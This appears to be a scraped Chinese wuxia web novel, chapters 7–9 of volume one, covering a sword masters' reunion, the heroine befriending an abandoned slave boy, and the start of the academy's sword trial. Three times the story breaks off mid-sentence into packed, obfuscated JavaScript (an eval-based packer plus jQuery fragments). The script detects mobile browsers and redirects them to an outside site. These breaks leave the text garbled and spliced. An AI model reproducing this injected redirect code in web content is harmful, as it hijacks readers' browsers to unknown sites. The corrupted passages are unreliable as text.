烂俗套的一见钟情戏码,有朝一日竟在她风无霜身上上演。 云笙弦,如诗如画的名字,名字好听,人更好看。 只可惜…… 胡琴音凄凄惨惨传来。 风无霜厌烦捂住耳朵,霸占她家业的易文盛,坐拥了无尽财富的死老头,却天天在后院拉悲调。 装腔作势! 风无霜甩袖离开。 胡琴声荡漾夜风中,飘忽不定,穿过大半天枢城,变得悠扬婉转。 酒馆中央,红纱裙飞舞。 腰肢曼妙的舞娘享受四面八方的注视,浑浊的,清澈的,开心的,悲伤的,十几个人聚在这间酒肆,喝着便宜的酒,看着她的舞。 角落里,那个沉默的中年俊美男子除外。 他既不喝酒,也不看她跳舞,盯着木桌上的咸菜,看了半天。 也好,不说话的美男子,才赏心悦目。 舞娘随节拍转身,正要抬手换动作,却见一人掀开了酒馆门帘,她怔住了。 靠在旁边的伙计,在看清客人的瞬间也愣住了。 整个酒馆的目光投过去,齐齐凝固。 这是个真正的美人啊。 紫裙垂地,身姿窈窕,小巧的脸庞像白糖堆出来的,水灵灵的大眼睛,唇点丹红,发髻边垂着翠玉步摇,随着她的步伐,微微颤动。 直到她落座半晌,酒馆才恢复热闹。 “你来了?” “嗯,我来了。” 多年重逢的第一次对话,竟这般无聊,凰允念自嘲想道,苏暮杉取下腰间佩剑,放在桌上。 “剑不离手的你,怎么没带凤凰歌来。”她穿得像个贵女,却习惯性拿了剑。 凰念允淡淡道:“若我带了凤凰歌,便会被认出来,血凰剑圣深夜幽会佳人的故事,就会传遍天枢城,同时,镇北王的属下约见学宫师范的事,也会传进陛下的耳朵。” “呵。”苏暮杉轻笑,“看来我盛装打扮一番,倒给你添了烦恼。” “不过,你说得也对。我已经不是当年深闺中时常哀叹的少女,你也不是青山派那个桀骜的剑侠。我成了学宫师范,你做了镇北王的亲信,江湖客沾惹朝堂事,总没好下场的。我们该少见面。” “十五年一见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491603|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,够少了。”他话里带了幽怨。 苏暮杉挥手招来伙计,上了壶酒,饮尽一杯,“我本来想找你打一架,临行前却鬼迷心窍换了这身累赘的衣裳。我想,我还爱你,师兄。” “但你不会嫁我,师妹。” “我为什么要嫁给你?若是嫁给你,一提起我,大家只会记得我是血凰剑圣的妻子,镇北王府副将的诰命夫人,我讨厌这样,讨厌你总是轻易夺去所有人的目光,讨厌你总是散发荣光,而现在没有嫁给你的我,是学宫长老,朝廷官员,教过无数学生,桃李满天下。” 苏暮杉仰头灌了口酒,含糊道:“只要不跟你站在一起,我就有属于我的天地。” 凰允念咬紧牙关,“因为我太强,太优秀,于是失去了深爱的女人,师妹,你不觉得很荒谬吗!” “是荒谬,那又怎样?”苏暮杉露齿一笑,十足挑衅。无奈涌上凰允念心头,是啊,那又怎样,他拿她没办法。 “不聊这些儿女情长了,师兄,你的脸都绿了。咱俩聊聊正事,听人讲,我教的弟子把你打了,北羽可是我见过天资最好的学生,我花二十多年悟出的剑道,她三天就学会了,不愧是仙骨。 但你的徒弟就很一般,也就投了个好胎,天资凑合,脾气啊人品啊,坏得滴水。” 凰允念的脸由绿转黑,他忍不住辩解:“小白没有那么坏。” “欺男霸女,当街鞭笞随从,你告诉我他不坏?”苏暮杉觉得好笑。 “王妃生下小白就离府了,王爷独自抚养孩子,难免娇惯,但我时常约束他,偶尔我不在的时候,他或许斗殴逞狠欺男,霸女可从未有过,至于当街鞭笞一事,则有隐情的。” 凰允念唉叹,“三年前,我陪小白游历东海,他在斗兽场买下那个叫莫淮的少年。” “东海的斗兽场,是无比残酷的地方,轻易不卖人,小白费了好大功夫才把莫淮弄到手,当时我还以为他转性了呢。 谁知,王府上千奴仆,小白唯独对莫淮肆无忌惮发泄情绪,非打即骂,而莫淮视他为救命恩人,毫不反抗。” 苏暮杉听到这里,不由蹙眉。 凰允念接着吐苦水:“我有时看不下去,劝小白,他梗着脖子说,莫淮的命是他给的,打两顿又怎样。王爷曾经有意放莫淮出府,他却不肯,执意跟着小白当个出气包袱。 两个人一个愿打一个愿挨,久而久之,我就不管了。” 苏暮杉道:“东海地广人稀,无章法可言,乃邪魔外道聚集之处,你徒弟救人一命,也算功德一桩,但也不该这么欺负人。” 凰允念:“其实,小白把莫淮带在身边,令我感到不安,我怀疑那个孩子,有魔的血统,是个魔人。” 苏暮杉脸色突变,“魔人?师兄,这可不能开玩笑,当年东海那场浩劫……” “师妹,别说了。”他严肃道,“左右,莫淮已经离开了。” “哼,你跟我,终究生疏了。” 苏暮杉低头理了理宽广的纱袖,转头打量起小酒馆,最终锁定了一个潦倒失意的男子,她起身走过去,问道:“先生,可否借琴一用。” 胡子拉碴的男子眯开眼,指着长条包裹,道:“小姐怎知里面是把琴?” “猜的。若猜错了,先生权当我没问。” 男子:“小姐猜对了,不过,我的琴粗糙,怕配不上小姐玉手。” 苏暮杉掩面一笑,“我算哪门子小姐,一个久未归乡的飘零客罢了。” 她出走青山派,已经十五年了。 人生,能有几个十五年。 男子痛快把琴递给她,苏暮杉抱着琴回到凰允念面前,“师兄,久别重逢,又要分离,师妹别无长物,弹琴吟曲一首赠你。” 素手抚过陈旧的琴弦,轻拢慢捻,沉重的古音静静流淌,歌声却清灵活泼,整个酒馆寂静,侧耳倾听。 “金柳承风舞千姿,寒潭梅冷绽芳枝。学宫四序风光好,曾揽少年几多时。啊~啊啊,一刀落,梅花绽,一剑落,金柳散,啊啊啊……” 歌声从清灵到飘渺,抛成一条条绕梁柔丝,回荡在众人心头,回味之时,紫衣女子已经离开了,凰允念站在门帘处,垂眸不语。 “兄台,这样的美人深夜与你相会,你竟然没留住她,唉……”胡子男抱着他的琴,长吁短叹。 凰允念抬头一笑,“是我没用。” 他向伙计要了胡琴,席地而坐,曲调响起,是一首非常轻快明亮的小曲,也是北境人人耳熟能详的曲子。 他唱道:“少女纱衣轻笑扬,腰间环佩响叮当,扑蝶追萤多欢畅,岁岁年年空守望,不知情郎在何方。” “情郎跋涉走天涯,欲采冰山雪莲花,误尽闺中心事伤,断了前生姻缘纱,回首茫茫不见她。” 周遭人忍不住打起拍子,跟他一起唱这首写少年春心的歌。 此刻他不是北境六剑圣,也不是镇北王的心腹,甚至不是青山派的弟子,仅是一个与心爱女子错过的男人。 在偏僻的小酒馆,同三教九流的人,大醉一场。 7. 卷一·学宫试剑 北羽的伤两天就养好了。 左肋摇摇欲断的肋骨,几乎是一夜间痊愈的。 仙骨的强悍,令瘫在床上靠云笙弦照顾起居的南戏霖无比羡慕。 “等你伤口痊愈,我请你喝一个月的酒,听一个月的戏。” 北羽沾湿毛巾,给他擦脸。 “估计没时间了。”南戏霖唉声叹气。 “等我病好了,老爹一定会拉我张罗试剑大会的大小事端,拿我当苦力。” 北羽:“夫子也会使唤我们的。待会我去找叶一片,有想吃想买的东西吗?” 南戏霖眼珠一转,“还真有件事拜托你,靠过来。” 北羽将耳朵凑过去,二人密语一番。 …… 天枢城郊外也像城内被划分为三六九等,风景秀丽,土壤肥沃的地段是权贵、有钱人的庄子,余下的便是荒山野岭。 有了上次出门的教训,北羽换了身男装,高束秀发,虎头面具一带,活脱脱的潇洒少男。 依照南戏霖给的路线,她轻易找到了叶一片服“徭役”的宅子,从后院翻了进去。 木屑飞溅,一个少年正举着斧子劈柴。 他劈柴过多,浑身发汗,索性脱了上衣,光着膀子,精壮的肌肉线条分明。 看见北羽来了,他侧脸笑了笑,朝她招手,北羽跑过去,殷勤拿起一旁蒲扇给他扇风。 叶一片看着瘦,脱掉衣服,却很不一样了,倘若她是个男人,能不能练得比叶一片更俊。 北羽发起呆。 叶一片唤了她一声,“南戏霖传信给我,说你改主意了,要参加试剑大会。” “嗯。” 他叹息道:“那我离榜首,又远一步了。” “这个好说,假如最后真剩我们两个,我输给你,让你当试剑大会第一,学宫第一。” 叶一片笑了,他生得剑眉星目,俊秀端庄,笑起来也动人。 “有些东西不能靠让,必须全力以赴。连第一都不想争,看来你尚未下定决心。” 北羽撇撇嘴,“这么明显吗。” 叶一片大笑,“我还不了解你!” 他拿衣服擦了擦石凳,拉北羽坐下来,从钱袋掏出一枚铜钱,狭长的眼眸看着她,“我们来玩个游戏,帮你看清本心。” “刻字的一面是参加试剑大会,另一面是不参加。” 铜钱抛起,落在他掌心被扣住,“我问你,你希望它是哪一面。” 她想了想,“刻字。” “好,我们再来一次,刻字的一面是你不在乎会被人打倒,另一面是你不想被任何人打倒。” 她一把抓住他的手,“不用抛了,我肯定选不刻字的那面。” 叶一片挑眉:“那就去把榜首拿下来。若你我相对,我输了,你赢了,我就告诉你一个秘密,关于我的。” “你还有秘密?”北羽被勾起兴趣。 论身世,叶一片和南戏霖,不知谁更惨。 南戏霖亲人死绝了,叶一片则是亲爹亲娘都不知道是谁,每当北羽觉得她爹不疼娘不爱,一对比这两个朋友,都不好意思哀怨下去。 叶一片从小流浪,有年冬天,快要饿死时,望见树上最后一片叶子凋零落下,决定给自己取名叶一片。 意思是,孤独飘零如最后一片落叶。 后来,南戏霖随海刀夫子游历北境,碰上饿昏头的叶一片,险些被生啃,南戏霖好心掰了半块饼给他,他就成了父子二人的跟屁虫。 海刀夫子见这孩子着实可怜,就带他回了学宫。 不过,叶一片从来不在人前提起身世,哪怕在三个最好的朋友面前,他也不提,因为他不想当个没有爹娘的异类。 这些往事是南戏霖私下偷告诉她的,叶一片只说,他父母病逝。 “你发什么呆?” “啊。” 北羽回过神,她太好奇叶一片的秘密了。 毕竟,叶一片很少跟她讲过去的事,他的心事只告诉南戏霖,因为他是南戏霖“捡”回来的。 “北羽,你似乎真的被打傻了,不如找个医师给你看看。”叶一片一本正经开玩笑。 “去去去!你才傻了,你劈柴劈傻了!” 北羽推开他,拔出残仙,院内堆放的上百根柴木砰地裂开,叶一片急了,“不能用剑,有人一直盯着我呢!” 话音未落,一个干瘪的小老头冲过来,北羽非常有礼貌道:“老先生,我此番专门来替愚兄道歉的,请带我去见你家老爷。” “道歉有用吗!莽山已经进他们肚子了!那可是我主人从小养到大的猪,宛若亲子啊!” 北羽变脸,粗着嗓音道:“再废话小爷一剑劈了你!快带我去见你家老爷。” “……少侠这边请。” 叶一片想跟上去,管家转头凶神恶煞道:“杀猪凶手滚开!” 叶一片只好待在原地,半柱香后,北羽凯旋归来,宣布好消息,他为猪修陵墓的日子结束了。 “你怎么做到的,这里的主人可是……” “我知道,他是当朝宰相,连夫子面子都不给。”北羽歪头眨眨眼。 叶一片:“那你做了什么?” “道歉咯。” “这么简单?” “摘下面具道的歉。” “啊,美人计。” 叶一片挠挠头,北羽摊开手,“试剑大会很快开始了,你不能再浪费时间,南戏霖觉得,既然宰相不吃云笙弦那套,那应该吃我这套。” “走啦走啦,回去练剑。”北羽翻出后院,叶一片披上衣服,追在她后面。 翠峰如簇,两道身影几乎并肩跳跃在半空之中,竹叶沙沙。 “北羽,你知道夫子发出去多少请柬吗?” “请柬?请谁来?试剑大会多少人争破脑袋也挤不进,怎么还有需要请的?” 叶一片无奈道:“这半年来你真是玩疯了,什么都不知道。” 北羽停下步伐,脚尖轻点落在竹节上,压弯一片翠绿。 叶一片:“在遥远的曾经,咱们学宫跟西海无极宫,以及星地星宫,原为一体,后因战乱分散各地,而今,无极宫、星宫主掌一国之力,唯有学宫受北境皇室控制,虽然如此,学宫依然遵循旧例,向其他两宫发出请柬,邀贵宾前来观战。 随贵宾一起来的,还有它们的年少英才。” “北羽,无极宫、星宫的客人,将是我们最的强劲对手。” 他神色凝重,希望北羽提高警觉,明白试剑大会将有恶战,北羽却挥手嘘了一声,“你听,下面有动静。” 随后,她动身飘落。 又玩起来了,叶一片扶额摇头,也跳下去,同她藏在茂密竹林中,张望着下面连排的豪华马车。 “贱货,你算个什么东西,东海最低贱的斗兽奴,猪狗不如,我大发慈悲留你在身边做个随侍,你倒联合外人,当着那么多人的面,狠狠打了我的脸,害我沦为整个天枢城的笑柄!” 李一白面冷如铁,声音压抑不住的愤怒,蚊子一样嗡嗡在北羽耳边。 瞧着头戴铁笼的莫淮,她不由皱眉,李一白这个家伙,该不会特意把人捉到郊外,准备下毒手? 周边几名贵公子也是这个想法,其中一人来到李一白身边,“小王爷何必大动肝火,小小贱奴罢了,我家府上有位老先生,曾在东海以剥皮手艺为生,不如让他们老乡见老乡,给小王爷解解气。” 剥皮! 北羽震惊无比,天爷啊,最毒莫过人心。 她的手,握到剑柄上。 “……剥皮?” 李一白转头盯着那人,“姓陈的,你脑袋里装了不少好点子啊。” 陈公子扬起笑脸,“举手之劳罢了,能为小王爷解忧,三生有幸……啊!” 一个大耳刮子,打得陈公子眼冒金星,嘴角流血。 李一白转动手腕,掀起眼皮,“打狗也要看主人,即便是王府的弃犬,如何处置也轮不到他人置喙。” 他敲敲莫淮头上铁罩,铛铛作响。 “滚,随便滚去哪里。去掉这个可笑的玩意,你不再是王府的奴了。” 李一白转身上了马车,扬尘而去,陈公子捂着脸,朝莫淮呸了一下,跟同伴也离开了。 尘土飞扬中,又剩下莫淮一人。 莫淮低头,盯着鞋尖,突然,他觉察到什么,猛地抬头,“谁在上面!” “我。” 北羽落地,莫淮警惕看着她。 “不会吧,才过去两天就把我忘了。”北羽竖起两根手指放在头上,“兔子面具。” 莫淮霎时放松,“树上另一个人是玉怜真吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491604|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不是。” 叶一片跳下来。 莫淮不由失望,不过,有北羽也够了,毕竟她是打李一白最狠的那个。 扑腾一声。 他跪在北羽面前。 “小姐,求你帮我跟小王爷讲一句,无论将来他如何对我,你都不会插手,求你了。这是你给我的银子,我一分没动,还给小姐。” 北羽目瞪口呆,僵在原地,莫淮躬身就要磕头,她急忙将人捞起,手指触碰莫淮手背的瞬间,酥酥麻麻的感觉炸开。 “啊!” 北羽吓了一跳,叶一片立即挡住莫淮,“你做了什么!” “没,没做什么啊……”莫淮虚心道,好奇怪的感觉,像被鞭子抽了一下,却不疼。 北羽平复心情,问道:“那个小王爷心狠手辣,根本不拿你当人看,你为何想回去,是不是他拿了你的身契。” 听说,大世家的奴仆都签契书,私逃违反律法。 叶一片知道前日北羽当街救人的来龙去脉,帮腔道:“小王爷那么坏,离开他,是一件天大的好事。若是因为身契,我们愿意帮你。” …… 莫淮低头看着地上竹叶,仿佛回到六年前那间破庙,面对那些说会带给他不可思议生活,却最终将他抛弃的同伴。 “为什么你们觉得小王爷用铁鞭抽我,骂我,我就厌恶害怕他。” “我为什么一定想离开小王爷。” 北羽跟叶一片愣住了。 莫淮抬起头,看着一脸懵懂的少年们。 “你们出城办事,然后回家,小王爷来天枢城办事,结束后回王府,原本我会跟他一起回去,只是他睡玉床,我睡地板。 但现在,他把我扔了。 我没有要去的地方了,更没有可以回的地方。” 北羽瞪大眼睛,完全不知道该说什么,叶一片眉头紧皱。 莫淮的眸子平静如水,他再次跪下去,磕了几??响头。 其实他不太懂下跪和磕头对一个普通人的意义,只是小王爷喜欢让他做这种动作,他觉得别人大约也喜欢。 因为他们总是在笑。 “小姐,求你去告诉小王爷,以后他打我,你不会做任何事,这样他就会捡回我了。” 空气一时静默。 叶一片看出来了,面前的少年不是一个世俗意义上的正常人,北羽好心错用。 “对不起。” 北羽摘下虎头面具,走到莫淮跟前,把他硬拉起来。 看着近在咫尺的北羽,闻到她身上淡淡香气,莫淮忽觉脸上被抽了一鞭子,火辣辣的,他局促后撒。 北羽:“虽然对不起,但我不会跟小王爷说那些话的,因为我一向看不惯仗势欺人。” 莫淮否认:“他没有欺负我。” 北羽掷地有声:“他有!只是你现在不懂。” “我听明白你话的意思了,你没有亲人,没有家人,你希望自己永远不会被拋弃,就算是小王爷那样的烂人,你也愿意跟一辈子。” 被戳中心事,莫淮更加不安,脑袋不停撞上铁罩,砰砰地响。 北羽听不下去,摁住他肩膀,让他别乱动。 “你听好,我叫北羽,北方的北,羽毛的羽,从今天起,咱们就是朋友,我会帮你在天枢城找份工。等你过上几天普通人的日子,交三两个一起喝酒的朋友,就懂小王爷对你有多残忍了。” “可是……” “没有可是!这事定了。” “以后,我每天都会去看你,你不用担心自己无人问津,死了都没人知道。作为朋友,我送你一句忠告,世上没有人能长长久久陪伴你,哪怕仇人也终有死去的一天,只有你自己能给自己一个安定,一个家。” “听明白就点头。” 莫淮看着她,稀里糊涂点点头。 北羽笑了:“这就对了,我带你回城。” “哎呦,你脑袋上的铁罩子太碍事了,怎么没拿下来。” “小王爷弄的……我不敢拿……怕他生气。”莫淮小声说,此刻他更怕北羽生气。 但她一点没有生气的模样,摸了下铁罩,说道:“现在可以摘了,我来帮你。” 帮个鬼。 走在他们后面的叶一片,内心只有一个想法。 北羽疯了。 8. 卷一·学宫试剑 多了一个累赘,回城的路蓦然遥遥无期,路过一座破庙时,三人稍作歇脚,叶一片把北羽拉出去。 “看我手指,这是几。” 幼年流浪时,他见识过许多拐子的手段,其中有一种叫拍花子,藏着药针往身上一拍,娃娃就迷了魂,被拐走。 他猜测,北羽八成被那小子拍花子了。 “四啊。” “你没糊涂啊!一个萍水相逢,来路不明的陌生人,给他钱救急已经够意思了,看你那副大包大揽的架势,不知道的以为他是你失散多年的亲弟弟呢!” “叶一片,你太夸张了。” 北羽不以为然。 “我夸张?是你在犯傻,大小姐。莫淮不是小猫小狗,捡回去给口饭就能养活,他是个人,是人就有花花肠子,他还是个男人,万一死皮赖脸缠上你怎么办?” “倘若莫淮真是个贪得无厌,不知感恩之徒,将来我不帮他就好了。” 她拍拍叶一片肩膀,示意他放轻松,环起双臂抱于胸前,“以往我出手相助的男女老少,都对我十分感激,有什么送什么呢。” “那是因为你的碰上的都是善人,没有吃过亏,世上可怜之人数不胜数,你为何偏偏对他大发善心。”叶一片此刻真恨他没有南戏霖的好口才,能叫北羽回心转意。 “这话我不爱听。”北羽辩驳道,“我既行善举,就不在乎吃亏一说,路见不平,能帮我都会帮。” 虽然,她确实对莫淮有种奇怪的感觉。 二人回到破庙,坐在残缺石像旁的莫淮站起来,她将人按回去,“别动。” “我来把铁罩弄开。” “不要!” 莫淮试图阻止,但北羽动作太快了,真气轰开了铁罩,他马上捂住脸,可她已经看见了。 黑色胎记,遍布莫淮大半张脸,像顽童玩墨泼翻在白宣纸上,无比晃眼,他抖着身子,不敢睁眼去面对北羽和叶一片。 “丑八怪!” “异类。” “难看,送去斗兽场做兽吧。” “碍眼的一张脸,快找个东西遮住。” 那些过去听了无数遍的恶语,反复响起在耳边,莫淮缩起肩,别抛弃我,别抛弃我。 柔软的手指,轻轻戳了下他的背,一张面具扣在他手边,“呐,送给你。” 莫淮震惊睁眼,透过指缝看见,叶一片转过身,原本正面他的北羽,已经站到他背后…… 为什么……你们不怕我,也不骂我…… 他颤抖着戴好虎头面具。 北羽绕到前面,挽起莫淮胳膊,故作轻松道:“我跟你一样,不喜欢别人总盯着我的脸看。美也罢,不美也罢,自己看顺眼就行,人总不能嫌弃自己。” 莫淮有些呼吸不过来。 他们离得太近了。 “北羽,你……还是松开我吧,我……很脏。” 虽然新换了衣裳,他仍旧觉得他很脏。 她愣住,“为什么?” “因为……从来没有人,愿意碰我。” 除了跟其他的“兽”搏斗,那些人即便打他,也要拿鞭子,拿棍子。 仿佛衣角沾上他,就会染黑。 “我在竹林里翻腾半天,身上也全是土的。” 北羽似乎没听出他的言外之意。 叶一片听得于心不忍,转身拍了下莫淮臂膀,“习武之人,弄脏衣服是常态。走吧,再不动脚,天黑之前,我们入不了城了。” 莫淮摸了摸喉咙,觉得肿肿的,眼睛也是。 ………… 天枢城郊外,宰相私宅。 柴火堆积的后院,走了两个吵吵嚷嚷的少年,多了一个头发花白的老者,他负手而立,看着那堆劈好的柴,唉声叹气。 “外祖父这是认输了?” 玉冠少年得意扬眉,从院门走来。 “镇北王的儿子、金吾卫中郎将的侄子,学宫的弟子,争先恐后地拜访您,宰相私宅门庭若市,您何故感伤。” 他笑嘻嘻凑过去,当朝宰相谢荣安撇他一眼,“我真不知道,你在高兴什么?” “学宫的支持,是北境帝王历来所需,我三番五次下帖,海刀夫子丝毫不理会,好不容易,机缘巧合之下扣住他的养子与学生,他肯来相见,却是话不投机。 今日,仙骨北羽登门拜访,是夺得学宫支持的最后一次机会,你竟没看上她。我的灵王殿下,学宫这条路彻底断了。” 玉冠少年:“哎呦,您老省省力气吧。父皇最心爱的儿子是八弟,最疼的女儿是大姐,若八弟铁了心不当皇帝,他必然选大姐继承皇位,否则,他何必指名要裴太傅的儿子做大姐的夫君,这皇位轮不到我的。” 谢宰相:“谋事在人,成事在天,众皇子中唯独你封了王,占优势的。” 玉冠少年翻了个白眼,“那是八弟拒绝父皇,父皇跟八弟置气,于是封我为灵王。本来大姐也要封王的,只是她不慎惹恼父皇罢了。” “总是这般没志气,一点也不像你娘。” “我娘随您,志存高远,那她当上皇后了吗?我啊,做个闲散王爷就心满意足了。” 玉冠少年坐到石凳上,胳膊撑着脑袋,朝谢宰相露齿一笑。 谢宰相不死心,坐到他对面,探着脖子问:“北羽那么漂亮,你就一点也不动心?她的背后除了学宫,还有一位曾经的天下第一,现在的北境第一,白发剑圣。 娶了她,再有外祖父在朝堂为你助力,帝位唾手可得。” “难道在您眼里,我慕容晏是一个看人漂亮就爱上的肤浅之辈吗。我承认北羽是我见过最美的女子,但我并不心动。” 慕容晏持续打击外祖父,“依父皇性子,不会忍受大臣左右立储的,您再折腾下去,小心皇帝没捧出一个,宰相官帽先丢了。” 谢宰相:“少乌鸦嘴,若来日你没有登上皇位,新皇便会因为我有你这个外孙,对我心存忌惮,届时,我头顶乌纱帽照样难保。” “陛下旧伤在身,还有几年活头,天枢城马上就会变天,你不去争,就等着挨刀子吧。” 慕容晏:“啧,您怎么咒父皇呢。告诉您吧,国师庵请了玄真道观的人来,已经住进钦天监了,父皇的病,搞不好有的治。” 谢宰相不信,“星宫都束手无策,玄真道观安能逆天改命?” “解铃还须系铃人,万一成了呢,星宫到底与北境有隔阂,我看当年星宫老神医就没认真给父皇治。” 管家端来茶具,慕容晏提壶,滚烫的茶水一圈圈绕开在麒麟茶宠上,散发香气,谢宰相的脸色逐渐深沉,最终拂袖起身。 “茶好了,您去哪?” “去看看莽山的墓,我发现它比你乖多了,就是太爱乱跑。” 慕容晏在谢宰相背后做了个鬼脸。 莽山那头精壮黑猪,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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北羽拍拍莫淮肩膀,掌柜的上下扫了一眼,和北羽借一步说话。 “他的脸?” “最近弄伤了,有条大疤。” “那算了,茶馆人来人往,有些混混专爱挑拨是非,我怕你表弟受欺负。” 北羽有点烦了,干脆把钱袋往掌柜手里一放,“二十两,后院找个屋给他住,管吃喝,行吗?” 掌柜:“行啊!绝对行!人交给我,你放心。” 北羽总算卸下重担,转身语重心长嘱咐莫淮:“我最近白天要习武练剑,只有晚上有空来看你。你安心在茶馆住下,先跟许先生念书,知晓道理后,慢慢琢磨以后想干什么。 鲜花酒你留着喝,当作我送你的见面礼。” 不知为何,她特别想帮莫淮,一对上他的眼睛,就觉得似曾相识,仿佛多年前见过。 这大约便是,话本子中所写的缘分。 假如她前天没路过朱雀南街,她就不会认识莫淮,如果她早一天或者晚一天出城去找叶一片,今天她就不会撞见莫淮。 可怜的莫淮,命运不知会变成怎样。 从来只有别人照顾她,想不到从今天起,她就要照顾别人了。 北羽蹦蹦哒哒地走了。 莫淮站在不凡茶馆的门口,目送她的背影,直到再也看不见。 他发自内心地想,北羽,是天底下最好的人。 9. 卷一·学宫试剑 学宫腹地,一座悬挂着十斋牌匾的院落中,北羽、叶一片、云笙弦、玄北离四人围坐一圈,扬脸望着站在桌上,耳边夹了支笔的南戏霖。 “试剑大会,终于要开始了!” “总结过往的经验教训,我得出三条结论,请诸位牢记。 第一,别轻视任何人,不起眼的小人物也许是真的菜,也许是扮猪吃老虎的主角。 第二,别轻易接受他人的示好,也许他真心跟你交朋友,也许他真在算计你。 第三,也是最重要的一条,此次参会人数近千人,而试剑大会的每场比试都是一对一,所以,你们要打很多场,打好几天。 假如一上来碰见比你强或者跟你差不多水平的,千万要悠着点儿,保存实力。两败俱伤的下场,就是你跟他无力应对下面的比试,最终排名堪忧,白费心思。 同理,当碰见比你弱的对手,本着人之初性本善,请勿下狠手,因为他虽然打不过你,却有希望打过别人。” “都听懂了吗!” “懂了!” 四人异口同声。 “那好!” 南戏霖跳下桌,甩掉毛笔,“让我们朝着会典出发,去看一看各国的使者吧!试剑大会结束,学宫百强榜出,真令人期待。” 他长腿一迈,走出十几步,忽然感觉背后空空,扭头一看,北羽、叶一片、云笙弦、玄北离四个人正以蜗牛速度挪动身躯,脸色各有各的紧张。 ……他真服了。 “叶一片,你手快抖成筛子了,咋滴了!” 抱着火神云剑的叶一片,咽了下口水,“前日,我师尊来了,把火神云剑正式传给我,它可是十大名剑啊,我有点紧张。” “紧张个屁!火晟老人唯有你一个传人,这把名剑早晚是你的,精神点,别给你师尊丢脸。” 叶一片深呼吸几口,挺起胸膛,目光坚定。 南戏霖满意点点头,“北离,你怎么回事?” 玄北离眸光微动,“……母亲来信,说我堂哥也来参加试剑大会,有意搏个好排名,以便入朝为官。母亲向来看不惯大伯,让我找机会削堂哥一头,我……” 懂了,优柔寡断的毛病犯了。 南戏霖对症下药:“天塌下来,都有揽月剑圣给你撑着,区区堂哥罢了,权当你娘没提,来日再议。” 玄北离顿时舒了口气,他也是这个打算,只是多个人说出来,就彻底做出决定了。 剩下云笙弦和北羽,南戏霖用脚趾头想想,都知道两个人在紧张什么。 云笙弦资质绝佳,但无心剑道,也不在乎试剑大会,他今日精心打扮,是为了见心上人,一位来自千里之外的星宫女子。 南戏霖只一句话,你静下来最好看,就把他治住了。 北羽,那更好对付。 “我老爹反复确认过,白发剑圣不会提前出关的,不用担心你师父突然现身。” 南戏霖的安慰很到位,北羽捂住晨起就狂跳的右眼皮,微微点头。 不消片刻,五人来到学宫的典台。 学宫占地极广,能同时容纳数万人,分为内宫、外宫,内宫的十斋,当下只有第十斋住了人,外宫除去国子监、钦天监,有三分之二是闲置的,落灰的擂台、院落阁楼,都是昔年专门为试剑大会所建。 典台位靠近内宫边缘,在这里举办完开典仪式后,就在外宫正式开始比武。 此时,典台周围人山人海,彩绸飘扬,除了参会的少年,还有他们的随行长辈,来凑热闹的国子监、钦天监的人,密密麻麻全是人头。 南戏霖和北羽几人分开,从侧边上了典台,海刀夫子正跟一堆人热络聊天。 “来,戏霖,这位是西海无极宫的伍宫主,伍行烈。伍宫主,这是我的养子南戏霖。” 在西海,无极宫相当于朝堂,大宫主李念念就是西海之皇,座下十位宫主皆为其徒弟,协助掌管整个西海大小事务。 伍行烈就是掌管西海的实权人物之一。 他二十多岁,头发微短,弯曲有型,一张爽朗笑脸,平易近人,拉住南戏霖的手,自来熟讲了一堆话。 “哟,海刀夫子的养子,那就是下一任学宫之主咯,失敬失敬。别拘束,我在西海无极宫算老幺,你直接叫我伍兄就行,听说,你跟仙骨北羽一起长大,她在哪呢,能给我指指吗,大老远跑一趟,我必须得见一见仙骨,看一眼残仙剑。 天下十大名剑,如今三把在学宫,真叫人羡慕啊。” 南戏霖心头一跳。 大大咧咧,话痨、不拘小节,这些显而易见的特点,使伍行烈看起来是一个令人放松的存在。 可前日火晟老人是私下见的叶一片,约在学宫外,要知道,火晟老人向来行踪不定,连叶一片这个徒弟都不确定师尊在何方,何时会出现。 刚刚赶来天枢城不久的西海人伍行烈,竟然短短两日就知道火神云在学宫。 这是个可怕的信号。 南戏霖立即警惕,“我没跟北羽一块来,不过伍宫主放心,您一定能在试剑大会中见识到残仙剑。” 伍行烈笑眯眯,似乎在想什么,海刀夫子打岔:“你还想见我们学宫的仙骨北羽?我问你,你的小师妹雨娉婷呢?天下少年的盛会,居然缺了西海无极宫赫赫有名的天才,你们不厚道啊,我可是特地下帖子请她来!” 伍行烈:“别提了,夫子!师妹她真是万不得已,遗憾缺席,我师尊还骂她,关键时刻掉链子。不过,你放心,此行我另带了一位英才,不逊色于雨师妹。” 无极宫竟然还藏着比肩雨娉婷的天才,海刀夫子暗道,李念念不愧是成精的老狐狸。 伍行烈抬头看了眼天,“都这个时辰了,星宫怎么还没来?” 海刀夫子:“哼,就他们的出行方式,折腾死了,迟到半个时辰都正常。” 南戏霖眼尖,“老爹,星宫的人来了。” 人群中的北羽,感受到旁边的表哥云笙弦激动起来,顺着他视线望去,远处人群边缘,乐声长奏,一大片白色的人影,缓缓而来。 她不由记起,那些关于星宫的传闻。 